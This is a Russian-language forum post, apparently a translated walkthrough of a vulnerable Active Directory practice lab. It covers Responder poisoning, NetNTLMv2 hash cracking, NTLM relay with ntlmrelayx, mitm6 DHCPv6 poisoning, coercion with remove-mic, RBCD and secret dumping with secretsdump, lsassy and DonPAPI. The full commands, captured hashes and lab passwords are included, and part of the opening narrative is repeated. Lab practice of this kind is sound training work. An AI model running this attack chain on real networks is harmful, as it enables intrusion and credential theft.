В предыдущей части) мы начинли копаться в том, что делать, когда вы получили учетнуые записи пользователей. Прежде чем начать использовать виртуальные машины с учетной записью пользователя, мы сделаем шаг назад (без учетной записи пользователя) и посмотрим, что мы можем сделать с responder, mitm6 и ретранслятором NTLM!
Запустим Responder чтобы увидеть, можем ли мы получить какую-либо информацию.
Через несколько минут мы получим хеш netntlmv2 robb.stark.
Бот пытается подключиться к bravos вместо braavos. DNS не знает bravos без двух букв «a», поэтому по умолчанию Windows отправит широковещательный запрос, чтобы найти связанный компьютер. С responder мы отвечаем на этот широковещательный запрос и говорим, что это наш сервер, и поэтому мы получаем соединение от пользователя.
Еще через несколько минут (бот eddard настроен на запуск каждые 5 минут и robb каждые 3 минуты) мы также получили подключение от eddard.stark:
Хэши netntlm нельзя использовать для ass the hash но вы можете взломать их, чтобы получить пароль. Создаем файл responseer.hashes с двумя найденными хешами и начинаем его взламывать с помощью hashcat.
Мы быстро получаем еще одну учетную запись пользователя robb.stark:sexywolfy. Этого достаточно, чтобы взломать северный домен, так как robb является администратором winterfell(north dc).
Пароль Эддарда более надежен и не может быть взломан этим методом. Это не значит, что мы ничего не можем сделать. Что мы можем сделать, так это перенаправить соединение Эддарда на сервер, где smb не подписан
Responder сохраняет логи в /opt/tools/Responder/logs (на exegol), если вам нужно показать их снова.
Если вы хотите удалить предыдущие захваченные логи (сообщение пропущенное ранее захваченный хэш) удалите файл /opt/tools/Responder/Responder.db
Сейчас у нас есть спиок компьютеров с smb signing:False? можем попробовать аутентифицировать их с relay ntlm
responder + ntlmrelayx to smb
Перед запуском responder чтобы отравить ответ на запрос LLMNR, MDNS и NBT-NS, мы должны остановить responder smb и http-сервер, поскольку мы не хотим получать хэши напрямую, а хотим ретранслировать их на ntlmrelayx.
Далее запускаем ntlmrelayx
исправим вот так
Перезапустите ntlmrelayx, все работает
Запустить responder для перенаправления запросов на сервер ретрансляции
Отравленные соединения ретранслируются на castelblack (192.168.56.22) и essos (192.168.56.23), а для использования соединения настроен прокси-сервер socks.
Поскольку eddard.stark является администратором домена north.sevenkingdoms.local, он получил права администратора на castelback.
Теперь мы можем использовать это реле, чтобы получить доступ к компьютеру в качестве администратора.
Мы запустим mitm6, чтобы отравить dhcpv6 и получить dns-запросы от хостов.
В качестве примечания, я заметил, что мы можем отравить domain controler, но после этого DC's не заботятся и все еще используют свой localhost dns сервер.
Поэтому мы должны нацелиться на серверы.
Для этого примера мы отравим сервер Braavos. Мы будем отвечать на запросы wpad и передавать http-запросы на ldaps на meereen, чтобы добавить компьютер с доступом делегата.
~Сначала нам нужно внести небольшие изменения в конфигурацию локальной сети braavos~ (Редактировать: Больше не нужно, если вы выполнили ansible provisioning после 18.08.2022)
Подключитесь к braavos с помощью khal.drogo:horse на rdp и измените dns сервер ethernet на автоматический (я скоро исправлю это в ansible lab playbooks, но пока вам придется сделать это вручную). Измените только первое соединение ethernet на автоматический dns.
Начинаем травить mitm6 и запустим ntlmrelayx
Как мы видим, dns теперь отравлен
Мы ждем http-запроса wpad, чтобы ретранслировать запрос в ldaps (вы можете перезагрузить ВМ, чтобы отравить и использовать, не дожидаясь)
Мы можем принудительно установить соединение из meereen DC с нашим хостом, используя несколько методов (petitpotam, printerbug, DFSCoerce). Чтобы принудительно выполнить принуждение, не выбирая между различными методами, мы можем использовать инструмент «все-в-одном», который только что появился .
Как прекрасно объяснено в блоге hackndo ( en.hackndo.com/ntlm-relay ) и в хакерском рецепте ( www.thehacker.recipes/ad/movement/ntlm/relay ), вы не можете ретранслировать smb-соединение на ldap(s). ) подключение без использования CVE-2019-1040, также известного как remove-mic.
Атака сработала, теперь мы можем использовать braavos с помощью RBCD.
и использовать это для получения секретов
В следующий раз мы вернемся к эксплуатации с частью учетной записи пользователя. ПОКА
Responder
Когда вы запускаете пентест без каких-либо кредов, Responder является обязательным инструментом. В стандартном AD Windows (без каких-либо изменений) он даст вам:- имена пользователей
- netntlmv1 (если сервер очень старый) / netntlmv2 хэши
- возможность перенаправления аутентификации (NTLM relay)
- …
Запустим Responder чтобы увидеть, можем ли мы получить какую-либо информацию.
Код:
responder -I vboxnet0
Через несколько минут мы получим хеш netntlmv2 robb.stark.
Бот пытается подключиться к bravos вместо braavos. DNS не знает bravos без двух букв «a», поэтому по умолчанию Windows отправит широковещательный запрос, чтобы найти связанный компьютер. С responder мы отвечаем на этот широковещательный запрос и говорим, что это наш сервер, и поэтому мы получаем соединение от пользователя.
Еще через несколько минут (бот eddard настроен на запуск каждые 5 минут и robb каждые 3 минуты) мы также получили подключение от eddard.stark:
Хэши netntlm нельзя использовать для ass the hash но вы можете взломать их, чтобы получить пароль. Создаем файл responseer.hashes с двумя найденными хешами и начинаем его взламывать с помощью hashcat.
Код:
robb.stark::NORTH:1122334455667788:138B29A14C5A082F19F946BB3AFF537E:01010000000000000090C5E56494D801E5D2F5789054B95D0000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:1122334455667788:76E26250ABF96A09E68ADC5A9B1A4C29:01010000000000000090C5E56494D801CA05EDDA86BE30280000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
Код:
hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt
Мы быстро получаем еще одну учетную запись пользователя robb.stark:sexywolfy. Этого достаточно, чтобы взломать северный домен, так как robb является администратором winterfell(north dc).
Пароль Эддарда более надежен и не может быть взломан этим методом. Это не значит, что мы ничего не можем сделать. Что мы можем сделать, так это перенаправить соединение Эддарда на сервер, где smb не подписан
Responder сохраняет логи в /opt/tools/Responder/logs (на exegol), если вам нужно показать их снова.
Если вы хотите удалить предыдущие захваченные логи (сообщение пропущенное ранее захваченный хэш) удалите файл /opt/tools/Responder/Responder.db
NTLM relay
Неподписанный SMB
Давайте начнем охотиться на неподписанных smb в лаборатории и создадим список целевых IP-адресов.
Код:
cme smb 192.168.56.10-23 --gen-relay-list relay.txt
Сейчас у нас есть спиок компьютеров с smb signing:False? можем попробовать аутентифицировать их с relay ntlm
responder + ntlmrelayx to smb
Перед запуском responder чтобы отравить ответ на запрос LLMNR, MDNS и NBT-NS, мы должны остановить responder smb и http-сервер, поскольку мы не хотим получать хэши напрямую, а хотим ретранслировать их на ntlmrelayx.
Код:
sed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='
Далее запускаем ntlmrelayx
Код:
ntlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks
- -tf: список целей для ретрансляции аутентификации
- -of: выходной файл, в нем будут сохранены захваченные хэши smb, как мы это делали раньше с responder чтобы взломать их позже
- -smb2support: поддержка smb2
- -socks: запустит прокси-сервер socks для использования ретрансляционной аутентификации
Код:
Type help for list of commands
self._target(*self._args, **self._kwargs)
File "/usr/local/lib/python3.10/dist-packages/impacket/examples/ntlmrelayx/servers/socksserver.py", line 247, in webService
from flask import Flask, jsonify
File "/usr/local/lib/python3.10/dist-packages/flask/__init__.py", line 19, in <module>
from jinja2 import Markup, escape
ImportError: cannot import name 'Markup' from 'jinja2' (/usr/local/lib/python3.10/dist-packages/jinja2/__init__.py)
исправим вот так
Код:
pip3 install Flask Jinja2 --upgrade
Перезапустите ntlmrelayx, все работает
Код:
ntlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks
Запустить responder для перенаправления запросов на сервер ретрансляции
Код:
responder -I vboxnet0
Отравленные соединения ретранслируются на castelblack (192.168.56.22) и essos (192.168.56.23), а для использования соединения настроен прокси-сервер socks.
Поскольку eddard.stark является администратором домена north.sevenkingdoms.local, он получил права администратора на castelback.
Теперь мы можем использовать это реле, чтобы получить доступ к компьютеру в качестве администратора.
Используйте relay socks с учетной записью администратор
Secretsdump
Используйте secretsdump для получения базы данных SAM, входа в систему из кэша LSA, учетной записи компьютера и некоторой информации DPAPI.
Код:
proxychains secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
- База данных sam содержит локальные учетные записи. Мы будем игнорировать vagrant, так как это пользователь по умолчанию для настройки лаборатории.
- Важной информацией здесь является хэш NT локального администратора.
- Мы также получили LSA-кэш последних подключенных пользователей (по умолчанию Windows хранит последних 10 пользователей), это полезно для подключения к серверу, даже если контроллер домена недоступен. Но эти кешированные учетные данные можно взломать в автономном режиме с помощью hashcat (очень медленно).
- И в завершение мы также получили хэш учетной записи компьютера. (Иногда вы не получите никаких полезных учетных записей домена или вообще никакой информации о компьютере, присоединенном к домену, но если вы получите этот хэш, вы получите учетную запись в домене!)
- С учетной записью компьютера вы можете запрашивать ldap, как и любые другие пользователи, а также запускать Bloodhound Ingestor
Lsassy
- Используйте lsassy, чтобы получить сохраненные учетные данные процесса lsass.
- Информация об учетных записях домена хранится в процессе LSASS, поэтому создание дампа этого процесса может дать вам больше учетных записей и привилегий домена.
- Lsassy позволяет удаленно сбрасывать lsass (очень удобно, чем выполнять procdump, загружать файл дампа lsass и выполнять pypykatz или mimikatz локально), он выполняет все болезненные действия, такие как дамп и чтение содержимого lsass (он также сбрасывает только полезная часть дампа lsass, оптимизирующая время передачи). (lsassy также существует как модуль cme)
Код:
proxychains lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.56.22
DonPapi
- Мой третий любимый инструмент для извлечения секретов Windows с Linux — это donPAPI , он используется для получения dpapi и другой информации, хранящейся в паролях (файлы, браузер, запланированные задачи и т. д.). Этот инструмент не затрагивает LSASS, поэтому он незаметен и работает большую часть времени, даже если на цели включены av и edr.
Код:
proxychains DonPAPI -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
- DonPapi дает нам сохраненный пароль для службы sql sql_svc:YouWillNotKerboroast1ngMeeeeeee
- Мы также получаем пароль robb.stark из-за запланированной настройки задачи на этом компьютере.
Smbclient
Подключитесь напрямую к smbserver с помощью smbclient
Код:
proxychains smbclient.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
Исполнение кода: smbexec или atexec
С соединением socks вы можете использовать только smbexec или atexec. Ни wmiexec, ни psexec, ни dcomexec не будут работать. (пояснения здесь: https://github.com/SecureAuthCorp/impacket/issues/412 )
Код:
proxychains smbexec.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug
Mitm6 + ntlmrelayx в ldap
Еще один полезный способ отравить сеть - дать ответ на запрос DHCPv6 и установить наш хост в качестве DNS-сервера по умолчанию. Windows по умолчанию предпочитает IPv6 вместо IPv4, поэтому мы можем перехватить и отравить ответ на запрос DHCPv6, чтобы изменить DNS-сервер и перенаправить запросы на нашу машину с помощью инструмента MITM6.Мы запустим mitm6, чтобы отравить dhcpv6 и получить dns-запросы от хостов.
В качестве примечания, я заметил, что мы можем отравить domain controler, но после этого DC's не заботятся и все еще используют свой localhost dns сервер.
Поэтому мы должны нацелиться на серверы.
Для этого примера мы отравим сервер Braavos. Мы будем отвечать на запросы wpad и передавать http-запросы на ldaps на meereen, чтобы добавить компьютер с доступом делегата.
~Сначала нам нужно внести небольшие изменения в конфигурацию локальной сети braavos~ (Редактировать: Больше не нужно, если вы выполнили ansible provisioning после 18.08.2022)
Подключитесь к braavos с помощью khal.drogo:horse на rdp и измените dns сервер ethernet на автоматический (я скоро исправлю это в ansible lab playbooks, но пока вам придется сделать это вручную). Измените только первое соединение ethernet на автоматический dns.
Начинаем травить mitm6 и запустим ntlmrelayx
Код:
mitm6 -i vboxnet0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug
Код:
tlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --add-computer relayedpccreate --delegate-access
Как мы видим, dns теперь отравлен
Мы ждем http-запроса wpad, чтобы ретранслировать запрос в ldaps (вы можете перезагрузить ВМ, чтобы отравить и использовать, не дожидаясь)
- Был создан новый компьютер с делегированным доступом к Braavos$, поскольку мы отравляем учетную запись компьютера Braavos$, и он может установить msDS-AllowedToActOnBehalfOfOtherIdentity на созданном компьютере.
- И мы можем продолжить эксплуатацию RBCD, как в следующем абзаце (с помощью getST для вызова s4u2proxy)
- Если мы указываем каталог добычи, вся информация в ldap автоматически сбрасывается.
Код:
ntlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local -l /workspace/loot
- Откройте RDP с помощью essos.local/khal.drogo:horse
- Когда relay запущен и работает, мы можем получить всю информацию о домене.
Принудительная авторизация smb + ntlmrelayx для ldaps
Мы можем принудительно установить соединение из meereen DC с нашим хостом, используя несколько методов (petitpotam, printerbug, DFSCoerce). Чтобы принудительно выполнить принуждение, не выбирая между различными методами, мы можем использовать инструмент «все-в-одном», который только что появился .
Как прекрасно объяснено в блоге hackndo ( en.hackndo.com/ntlm-relay ) и в хакерском рецепте ( www.thehacker.recipes/ad/movement/ntlm/relay ), вы не можете ретранслировать smb-соединение на ldap(s). ) подключение без использования CVE-2019-1040, также известного как remove-mic.
- Запустите ретрансляцию с удалением микрофона в ldaps meereen.essos.local.
Код:
ntlmrelayx -t ldaps://meereen.essos.local -smb2support --remove-mic --add-computer removemiccomputer --delegate-access
- Запустите принудительную аутентификацию на braavos (braavos — это обновленный сервер Windows 2016, поэтому неаутентифицированный petitpotam здесь не будет работать)
Код:
python3 coercer.py -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.1
Атака сработала, теперь мы можем использовать braavos с помощью RBCD.
Код:
getST.py -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 'ESSOS.LOCAL/removemiccomputer$:_53>W3){OkTY{ej'
и использовать это для получения секретов
Код:
export KRB5CCNAME=/workspace/Administrator.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local
В следующий раз мы вернемся к эксплуатации с частью учетной записи пользователя. ПОКА
Вложения
Последнее редактирование:
